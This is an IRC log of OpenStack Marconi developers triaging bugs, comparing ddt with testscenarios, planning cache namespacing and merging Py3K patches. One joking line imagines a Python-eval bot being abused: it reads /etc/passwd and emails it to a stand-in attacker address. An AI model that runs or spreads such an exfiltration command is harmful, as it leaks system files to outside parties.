* kgriffs goes back to thinking about my precious | 20:05 | |
alcabrera | lol | 20:05 |
kgriffs | so, I am going to nuke these bugs unless anyone vehemently objects | 20:05 |
alcabrera | not at all - have at them, kgriffs | 20:07 |
* alcabrera authorizes teh nukez | 20:07 | |
* kgriffs pushez teh buttonz | 20:07 | |
alcabrera | ,splode bugs | 20:07 |
alcabrera | *bugz | 20:07 |
alcabrera | much fixing, so boom | 20:07 |
malini | flaper87: I have no idea what it is - but looks like every other openstack project is in /opt/stack (in my devstack machine) & marconi is not. is this anything to worry abt ? | 20:08 |
flaper87 | malini: that's what you should put in your localrc | 20:08 |
flaper87 | you may have to change the user, though | 20:08 |
* kgriffs watches first bomb fall | 20:08 | |
flaper87 | those are the parameters required to run ./stack.sh | 20:08 |
malini | flaper87: let me try tht..& sorry for all the dumb questions..am still trying to figure the whole thing | 20:09 |
* kgriffs launches second nuke | 20:09 | |
* kgriffs flys away | 20:09 | |
malini | kgriffs: come back | 20:09 |
kgriffs | ooh look, we just fixed two bugs! | 20:09 |
alcabrera | w00t | 20:09 |
flaper87 | LOL | 20:10 |
kgriffs | moving on | 20:10 |
kgriffs | perf: Functions defined inline | 20:10 |
kgriffs | https://bugs.launchpad.net/marconi/+bug/1222932 | 20:11 |
kgriffs | flwang: ^^^ | 20:11 |
kgriffs | flwang: you were looking for straightforward things to work on | 20:11 |
* kgriffs wonders if flwang is awake | 20:12 | |
kgriffs | so, yeah, just need someone to take this one | 20:12 |
kgriffs | I think it is low priority though | 20:12 |
* kgriffs changes that | 20:12 | |
alcabrera | I feel it's pretty low-priority, too. | 20:12 |
* flaper87 just found someone for that bug | 20:13 | |
kgriffs | next up: https://bugs.launchpad.net/marconi/+bug/1226081 | 20:13 |
*** cpallares has joined #openstack-marconi | 20:13 | |
kgriffs | malini: this one is assigned to you | 20:13 |
kgriffs | status? | 20:13 |
malini | I am waiting for testscenarios to add function level support | 20:13 |
malini | I tried ping mordred on friday, but havent been able to follow up yet | 20:14 |
kgriffs | ETA? | 20:14 |
kgriffs | oh, maybe you don't know | 20:14 |
malini | I dont know the ETA..but will ping mordred & update the bug accordingly | 20:14 |
* kgriffs thinks mordred could be a character from Lord of the Rings | 20:14 | |
malini | :D | 20:14 |
kgriffs | malini: thanks! | 20:14 |
kgriffs | do we feel like this is a graduation req? | 20:15 |
malini | flaper87: thoughts on tht? | 20:15 |
alcabrera | I disagree with the bug, as it stands. My understanding is that testscenarios could work as a complement to ddt. | 20:16 |
flaper87 | no, it's not a graduation requirement | 20:16 |
alcabrera | so we could be using both testscenarios and ddt to aid the organization of our tests. | 20:16 |
malini | alcabrera: testscenarios will replace ddt :( | 20:16 |
alcabrera | hmm.. :/ | 20:17 |
malini | coz they dont want more new stuff in requirements | 20:17 |
kgriffs | so, just make testscenarios depend on ddt | 20:17 |
kgriffs | problem solved. ;) | 20:17 |
flaper87 | LOOOOL | 20:17 |
malini | :D | 20:17 |
alcabrera | :) | 20:18 |
alcabrera | btw | 20:18 |
kgriffs | has anyone seen how many deps Pecan brings in | 20:18 |
kgriffs | d0000d | 20:18 |
alcabrera | ddt is in openstack/requirements | 20:18 |
alcabrera | https://github.com/openstack/requirements/blob/master/global-requirements.txt#L9 | 20:18 |
malini | they added it for marconi | 20:18 |
alcabrera | ah | 20:18 |
flaper87 | unless we've a strong reason to keep using ddt, we should be moving to testscenarios | 20:18 |
malini | the claim is tht testscenarios does the same thing | 20:18 |
flaper87 | yeah, that was added because of us | 20:18 |
alcabrera | I see. | 20:18 |
kgriffs | malini: except, it doesn't | 20:18 |
malini | though they need to add support to do the same thing | 20:18 |
kgriffs | ^^^ what she said | 20:19 |
malini | I am not the biggest fan of testscenarios, but will do if we are forced to | 20:19 |
kgriffs | alcabrera: for the record, I'm with you: "we don't want another line in global-reqs" seems like a silly justification for reinventing the wheel | 20:19 |
* kgriffs loves that every time someone says that in the context of Python, it is now a pun | 20:20 | |
alcabrera | heh, wheel... | 20:20 |
kgriffs | http://pythonwheels.com/ | 20:20 |
kgriffs | malini: seems silly that anyone should feel "forced" in OpenStack | 20:21 |
kgriffs | when someone feels like that, it is a good sign the decision wasn't very well vetted | 20:21 |
alcabrera | kgriffs: agreed re: forced | 20:21 |
kgriffs | ...unless you are dealing with Aes Sedai, in which case you are just being manipulated and you should get used to it. | 20:22 |
flaper87 | well, in this case it didn't start as a requirement | 20:22 |
flaper87 | or something as being forced | 20:22 |
flaper87 | it started as a suggestion and they were letting us know there's testscenarios | 20:23 |
flaper87 | AFAIK, at least in this case, no one said we have to | 20:23 |
openstackgerrit | Cindy Pallares proposed a change to openstack/marconi: Added schema.py which maps out the HTTP request codes in jsonschema https://review.openstack.org/59508 | 20:23 |
flaper87 | but we did take the challenge to study testscenarios and see if it's a good fit for Marconi | 20:23 |
kgriffs | flaper87: gtk | 20:23 |
malini | flaper87:.I remember some email thread in dev list abt new reqs etc. I probably confused tht with this | 20:23 |
flaper87 | if it's not then lets make a point | 20:23 |
flaper87 | malini: yeah, that was more about the feature freeze | 20:24 |
alcabrera | flaper87: since we volunteered to check out testscenarios, I agree we should make a statement regarding ddt vs. testscenarios | 20:24 |
malini | I personally like ddt better -the tests are a lot cleaner with theuse of decorators..But I'll follow up regarding testscenarios | 20:24 |
kgriffs | maybe we just ask Monty to "get back to us" when testscenarios is competitive with DDT | 20:24 |
kgriffs | and keep using ddt until we hear back | 20:25 |
flaper87 | malini: I think a well-written email in openstack-dev is the best thing to do here | 20:25 |
kgriffs | malini: with some code examples | 20:25 |
kgriffs | (to encourage objectivity) | 20:25 |
flaper87 | agreed | 20:25 |
kgriffs | as in, here is how you would do it with DDT | 20:25 |
kgriffs | and here with testscenarious | 20:25 |
* kgriffs vacuums up that extra u | 20:26 | |
* flaper87 liked that u | 20:26 | |
alcabrera | flaper87 has also shown how to handle tuple params portably (py2 -> py3), so that's a plus for examples. :) | 20:26 |
alcabrera | re: ddt ^ | 20:26 |
malini | sure..I can send the email out to dev list | 20:27 |
kgriffs | TBH, I think it behooves OpenStack to be a good member of the broader Python ecosystem, contributing upstream to things like ddt when it makes sense. | 20:27 |
flaper87 | alcabrera: speaking of which | 20:27 |
flaper87 | kgriffs: http://goo.gl/lKmwx1 | 20:27 |
flaper87 | :) | 20:27 |
alcabrera | flaper87: :D (all +2'd) | 20:27 |
flaper87 | alcabrera: thank you! | 20:27 |
kgriffs | "disable keystone client if running under py3k" | 20:27 |
kgriffs | lol | 20:27 |
kgriffs | anyone working on keystone py3k in the near future? | 20:28 |
kgriffs | seems like I asked this already... | 20:28 |
* kgriffs mind is going | 20:28 | |
flaper87 | kgriffs: yup | 20:28 |
flaper87 | there are some folks working on that already | 20:28 |
kgriffs | FANTASTIC | 20:28 |
flaper87 | they're basically blocked on an external lib not supporting Py3K | 20:28 |
flaper87 | but they're already contributing to it | 20:29 |
flaper87 | no ETA, though | 20:29 |
kgriffs | flaper87: btw, as soon as your cache patch lands I want to submit a patch to the keystone middleware | 20:29 |
flaper87 | kgriffs: +! | 20:29 |
flaper87 | kgriffs: +1 | 20:29 |
alcabrera | iirc, they were blocked on migrating to httpretty for unit tests, which has spotty py3k support. | 20:29 |
flaper87 | damn, I've to update that patch | 20:29 |
alcabrera | keystone ^^ | 20:29 |
flaper87 | I meant to do that today | 20:29 |
flaper87 | alcabrera: yeah, httpretty is the reason they're blocked | 20:29 |
kgriffs | flaper87: btw, I already ran into a case with the sub-namespace thing when doing the shard caching | 20:29 |
kgriffs | you can look at my code in marconi | 20:30 |
kgriffs | that is why I suggested that feature in the first place | 20:30 |
kgriffs | but, I would be happy to incubate the idea of that namespacing proxy/wrapper within marconi first | 20:30 |
kgriffs | and if it proves useful, move it into oslo propper | 20:30 |
flaper87 | kgriffs: interesting. I haven't read your comments on the cache patch but I already saw you reviewed it again | 20:31 |
kgriffs | flaper87: my updated comments weren't anything special | 20:32 |
alcabrera | I'm out for the day guys. :) | 20:32 |
kgriffs | I didn't say anything about incubating in my comments on the patch - the thought just occurred to me today | 20:33 |
kgriffs | alcabrera: ttfn! | 20:33 |
alcabrera | o/ | 20:33 |
kgriffs | alcabrera: before you go | 20:33 |
alcabrera | oh? | 20:33 |
kgriffs | are you following Starbound? | 20:33 |
alcabrera | kgriffs: I have a Linux server hosted and have played it for over 30h with my household. :D | 20:34 |
alcabrera | So very yes. | 20:34 |
flaper87 | kgriffs: I still think we should get rid of that namespace thing and leave that to the user | 20:34 |
kgriffs | alcabrera: kk | 20:34 |
alcabrera | love it | 20:34 |
kgriffs | alcabrera: I was thinking about trying it | 20:34 |
alcabrera | totally go for it - even if it is in alpha, kgriffs! | 20:34 |
* kgriffs thinks we should have a regular marconi team "meeting" that involves Starbound | 20:34 | |
alcabrera | lol | 20:34 |
alcabrera | the devs are also very active on Twitter and regular about updates. They listen to bugs/suggestions. | 20:35 |
alcabrera | anyway | 20:35 |
kgriffs | alcabrera: gtk | 20:35 |
kgriffs | alcabrera: thanks! | 20:35 |
alcabrera | with that recommendation (+10 starbound), I'm out. :D | 20:35 |
kgriffs | flaper87: you mean, altogether? | 20:35 |
malini | I need to leave too | 20:35 |
kgriffs | not do namespacing at all? | 20:35 |
*** alcabrera has quit IRC | 20:36 | |
kgriffs | (in oslo-cache) | 20:36 |
kgriffs | malini: ttfn | 20:36 |
malini | good night! | 20:36 |
*** malini has left #openstack-marconi | 20:36 | |
flaper87 | kgriffs: yeah | 20:39 |
kgriffs | interesting | 20:40 |
flaper87 | if you look at the implementation, the namespace is just a stirng prefixed to every key | 20:40 |
kgriffs | flaper87: yep | 20:40 |
flaper87 | com' on, the user can do that | 20:40 |
flaper87 | lazy users, pssssss | 20:40 |
kgriffs | they can, but it would be nice to have a DRY mechanism | 20:40 |
kgriffs | flaper87: what do you think about the following | 20:40 |
kgriffs | 1. remove namespace totally from the current patch | 20:41 |
flaper87 | yeah, I agree with that, what about a mixin | 20:41 |
flaper87 | or a NamespacedCached | 20:41 |
flaper87 | or something like that | 20:41 |
kgriffs | 2. Add default ttl param to initializer and implement dict interface | 20:41 |
flaper87 | mmh | 20:41 |
flaper87 | 1. +1 | 20:41 |
flaper87 | 2. +1 | 20:41 |
kgriffs | 3. Incubate ideas around scoped namespaces, ttl's in marconi | 20:41 |
kgriffs | promote to oslo if/when it makes sense | 20:41 |
flaper87 | kgriffs: sounds good like a plan! | 20:41 |
flaper87 | maybe not the ttl, but lets incubate the idea around the namespace. I think you and Doug made good points about the ttl in that review | 20:42 |
kgriffs | kk | 20:45 |
kgriffs | 'k' * 2 | 20:45 |
* kgriffs wants an IRC bot that evals python | 20:46 | |
*** jcru has quit IRC | 20:48 | |
notmyname | email(open('/etc/passwd').read(), to='haxxor@evil.corp') | 20:51 |
*** amitgandhi has quit IRC | 20:51 | |
*** amitgandhi has joined #openstack-marconi | 20:51 | |
flaper87 | notmyname: LOL | 20:52 |
flaper87 | kgriffs: btw, it'd be really cool if you could go through those patches | 20:52 |
kgriffs | flaper87: the py3k ones? | 20:54 |
flaper87 | kgriffs: yup, they are py2 harmless | 20:54 |
flaper87 | :) | 20:54 |
kgriffs | kk | 20:55 |
flaper87 | and they're pretty straightforward | 20:55 |
* kgriffs does that | 20:56 | |
kgriffs | flaper: I -2'd one of your patches because you said "where" instead of "were" in the commit message | 20:58 |
openstackgerrit | A change was merged to openstack/marconi: Remove gettext magic and import _ explicitly https://review.openstack.org/60120 | 20:59 |
* kgriffs is kidding | 20:59 | |
flaper87 | kgriffs: LOOOOOL | 21:00 |
openstackgerrit | A change was merged to openstack/marconi: Disable keystone client if running under Py3K https://review.openstack.org/60121 | 21:00 |
kgriffs | flaper87: can you give some more background on this? | 21:01 |
kgriffs | https://review.openstack.org/#/c/60123/5/tests/unit/queues/transport/wsgi/test_auth.py | 21:01 |
openstackgerrit | A change was merged to openstack/marconi: Don't use tuple parameters https://review.openstack.org/60122 | 21:02 |
flaper87 | kgriffs: Py3K dropped support for implicitly relative imports | 21:04 |
kgriffs | right, I just saw that | 21:05 |
kgriffs | what about from tests.unit.queues.transport.wsgi import base | 21:05 |
kgriffs | TBH, I think Hacking should allow the simple case of relative imports (i.e., from . import blah) | 21:05 |
kgriffs | but I am just playing devil's advocate | 21:06 |
flaper87 | kgriffs: yeah, I used relative import because we're already using it | 21:06 |
flaper87 | and thought about keeping the change small | 21:06 |
kgriffs | ah | 21:06 |
flaper87 | we were alrady* | 21:06 |
kgriffs | well, I wouldn't mind using the full path to avoid the # noqa | 21:06 |
flaper87 | I don't remember why we didn't do that in first place | 21:07 |
flaper87 | aaahhh yeah | 21:07 |
flaper87 | we can't | 21:07 |
flaper87 | tests is not under the site-packages | 21:07 |
kgriffs | ah | 21:07 |
flaper87 | when nosetests is running | 21:07 |
flaper87 | I knew there was a reason | 21:07 |
kgriffs | same story for testr? | 21:07 |
flaper87 | yeah | 21:07 |
* flaper87 has a branch for testr | 21:08 | |
flaper87 | :) | 21:08 |
kgriffs | mmm | 21:08 |
flaper87 | there are pieces that still don't work well | 21:08 |
kgriffs | Can you update HACKING with a note about this? | 21:08 |
flaper87 | but I'm looking forward to migrating to it | 21:08 |
kgriffs | so people know it's OK under this specific circumstance? | 21:08 |
flaper87 | kgriffs: yup, do you mind if I do it in a separate patch to avoid rebasing? | 21:08 |
kgriffs | flaper87: that's totally fine | 21:08 |
flaper87 | kgriffs: awesome, thanks! | 21:09 |
kgriffs | flaper87: maybe there is a way to get the hacking checker to be smarter about this too | 21:09 |
kgriffs | (so we don't have to put # noqa all over the place) | 21:09 |
flaper87 | kgriffs: another import ignore rule ? | 21:09 |
* flaper87 doesn't know how those rules work | 21:09 | |
kgriffs | flaper87: not sure | 21:10 |
kgriffs | This smells like something a little different | 21:11 |
kgriffs | there should be a way to say "for tests, allow relative imports" | 21:11 |
kgriffs | I wonder if other projects have ran into this? | 21:12 |
openstackgerrit | A change was merged to openstack/marconi: Use relative import for base in tests https://review.openstack.org/60123 | 21:12 |
kgriffs | flaper87: can you review this patch? | 21:12 |
kgriffs | https://review.openstack.org/#/c/54874/ | 21:12 |
kgriffs | been sitting around for a long time | 21:12 |
* flaper87 reviews | 21:13 | |
openstackgerrit | A change was merged to openstack/marconi: Remove the __MARCONI_SETUP_ global from init https://review.openstack.org/60124 | 21:13 |
flaper87 | kgriffs: https://review.openstack.org/#/c/54874/2/marconi/queues/transport/wsgi/utils.py | 21:13 |
flaper87 | are we sure `debug` is what we want there? | 21:14 |
flaper87 | mmh | 21:14 |
flaper87 | oh yes | 21:14 |
flaper87 | it makes sense | 21:14 |
flaper87 | nevermind | 21:14 |
flaper87 | that was easy | 21:14 |
flaper87 | I whish all patches were like that | 21:14 |
kgriffs | :D | 21:15 |
openstackgerrit | A change was merged to openstack/marconi: fix: Reduce logging severity of certain errors https://review.openstack.org/54874 | 21:16 |
kgriffs | flaper87: another simple one | 21:17 |
kgriffs | https://review.openstack.org/#/c/60266/ | 21:17 |
kgriffs | w00t | 21:17 |
* kgriffs wonders when flaper87 sleeps | 21:18 | |
flaper87 | kgriffs: :D +2'd | 21:18 |
* flaper87 wonders that too | 21:18 | |
openstackgerrit | A change was merged to openstack/marconi: Make consumer_for a context manager https://review.openstack.org/59233 | 21:19 |
openstackgerrit | A change was merged to openstack/marconi: chore: Remove remaining proxy cruft https://review.openstack.org/60266 | 21:20 |
flaper87 | kgriffs: http://openstackreactions.enovance.com/2013/12/line-too-long-80-79-characters/ | 21:23 |
flaper87 | kgriffs: also, in case you're interested: http://blog.flaper87.com/post/52a4e5390f06d3504eaf772d/ | 21:24 |
kgriffs | flaper87: ah, nice | 21:25 |
* kgriffs sends to instapaper | 21:25 | |
kgriffs | LOL. I saw some of those episodes the other day. | 21:26 |
* kgriffs only watches stuff that shows up in Netflix | 21:26 | |
flaper87 | Everytime I read / hear netfilx, I hate it even more. It still uses silverlight, which is a shame for such a great service. | 21:28 |
kgriffs | ah, yes | 21:28 |
kgriffs | silverlight | 21:28 |
* flaper87 is a linux user | 21:29 | |
flaper87 | no silverlight in linux land | 21:29 |
flaper87 | I mean, I could get it working with wine and stuff | 21:29 |
flaper87 | buuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuut | 21:29 |
kgriffs | d00d | 21:29 |
kgriffs | they don't have a way to watch on linux? | 21:29 |
flaper87 | nope | 21:29 |
kgriffs | wow | 21:29 |
kgriffs | fail | 21:29 |
flaper87 | epic fail! | 21:29 |
kgriffs | works on roku, which runs linux if I'm not mistaken | 21:29 |
kgriffs | so, means the website team != embedded team | 21:30 |
flaper87 | mmh, most probably | 21:30 |
kgriffs | aaaah | 21:31 |
kgriffs | I think I know the problem | 21:31 |
kgriffs | DRM | 21:31 |
flaper87 | I can understand why they started with silverlight but, come on, html5 has been around for quite a bit now! I'd like to know what's holding them back from migrating to it | 21:31 |
* kgriffs hates media conglomerates | 21:31 | |
flaper87 | DRM ? | 21:31 |
kgriffs | yeah, I bet they use silverlight because it offers strong DRM | 21:31 |
kgriffs | And Moonlight doesn't support DRM | 21:32 |
flaper87 | yeah, I guess so. But, hulu doesn't use silverlight, AFAIK | 21:35 |
flaper87 | yeah, it's flash | 21:35 |
kgriffs | hmmm | 21:35 |
kgriffs | good point | 21:35 |
kgriffs | go buy a roku | 21:36 |
kgriffs | :p | 21:36 |
kgriffs | or ps3/4 | 21:36 |
flaper87 | erm, I forgot to mention that Netflix is blocked in Italy | 21:36 |
flaper87 | :D | 21:36 |
kgriffs | ouch | 21:36 |
kgriffs | well, that is a pain | 21:36 |
kgriffs | tor? | 21:36 |
flaper87 | yup :D | 21:36 |
kgriffs | lol | 21:36 |
*** openstackgerrit has quit IRC | 21:37 | |
flaper87 | kgriffs: or https://hola.org/ | 21:37 |
flaper87 | which works very well | 21:37 |
kgriffs | http://learn.adafruit.com/onion-pi/overview | 21:37 |
flaper87 | it even has ssl | 21:37 |
*** openstackgerrit has joined #openstack-marconi | 21:37 | |
kgriffs | wow | 21:37 |
kgriffs | didn't know about hola | 21:37 |
flaper87 | and I didn't know about onion-pi | 21:38 |
flaper87 | :D | 21:38 |
kgriffs | I'm so glad we had this little chat. :) | 21:39 |
*** rongze has quit IRC | 21:52 | |
*** JRow has quit IRC | 21:53 | |
*** openstackgerrit has quit IRC | 21:57 | |
*** openstackgerrit has joined #openstack-marconi | 21:57 | |
openstackgerrit | Cindy Pallares proposed a change to openstack/marconi: Added schema.py which maps out the HTTP request codes in jsonschema https://review.openstack.org/59508 | 22:05 |
*** rongze has joined #openstack-marconi | 22:18 | |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Move request_and_transport to the Client https://review.openstack.org/60953 | 22:23 |
*** reed has quit IRC | 22:25 | |
*** yassine has quit IRC | 22:27 | |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Move request_and_transport to the Client https://review.openstack.org/60953 | 22:29 |
*** jergerber has quit IRC | 22:34 | |
*** thomasem has quit IRC | 22:37 | |
*** jcru has joined #openstack-marconi | 22:42 | |
*** rongze has quit IRC | 22:51 | |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Add a Client 'instantiator' https://review.openstack.org/60963 | 23:09 |
*** amitgandhi has quit IRC | 23:20 | |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Add a base test class for the queues package https://review.openstack.org/60966 | 23:23 |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Add a Client 'instantiator' https://review.openstack.org/60963 | 23:24 |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Add a base test class for the queues package https://review.openstack.org/60966 | 23:24 |
* kgriffs wonders again when flaper87 sleeps | 23:25 | |
flaper87 | kgriffs: LOOOOOL :D | 23:25 |
* kgriffs wonders if flaper87 is human | 23:25 | |
flaper87 | kgriffs: that I can answer | 23:25 |
flaper87 | kgriffs: I'm not :D | 23:25 |
kgriffs | :-o | 23:27 |
* kgriffs knew it! | 23:27 | |
openstackgerrit | Flavio Percoco proposed a change to openstack/python-marconiclient: Make pbr only a build-time dependency. https://review.openstack.org/60967 | 23:34 |
flaper87 | kgriffs: ^ I even stole the commit message :D | 23:34 |
* flaper87 wonders if we should do the same thing with marconi | 23:35 | |
flaper87 | probably we should | 23:35 |
*** flaper87 is now known as flaper87|afk | 23:40 | |
*** rongze has joined #openstack-marconi | 23:51 | |
*** etoews1 has joined #openstack-marconi | 23:51 |
Generated by irclog2html.py 2.14.0 by Marius Gedminas - find it at mg.pov.lt!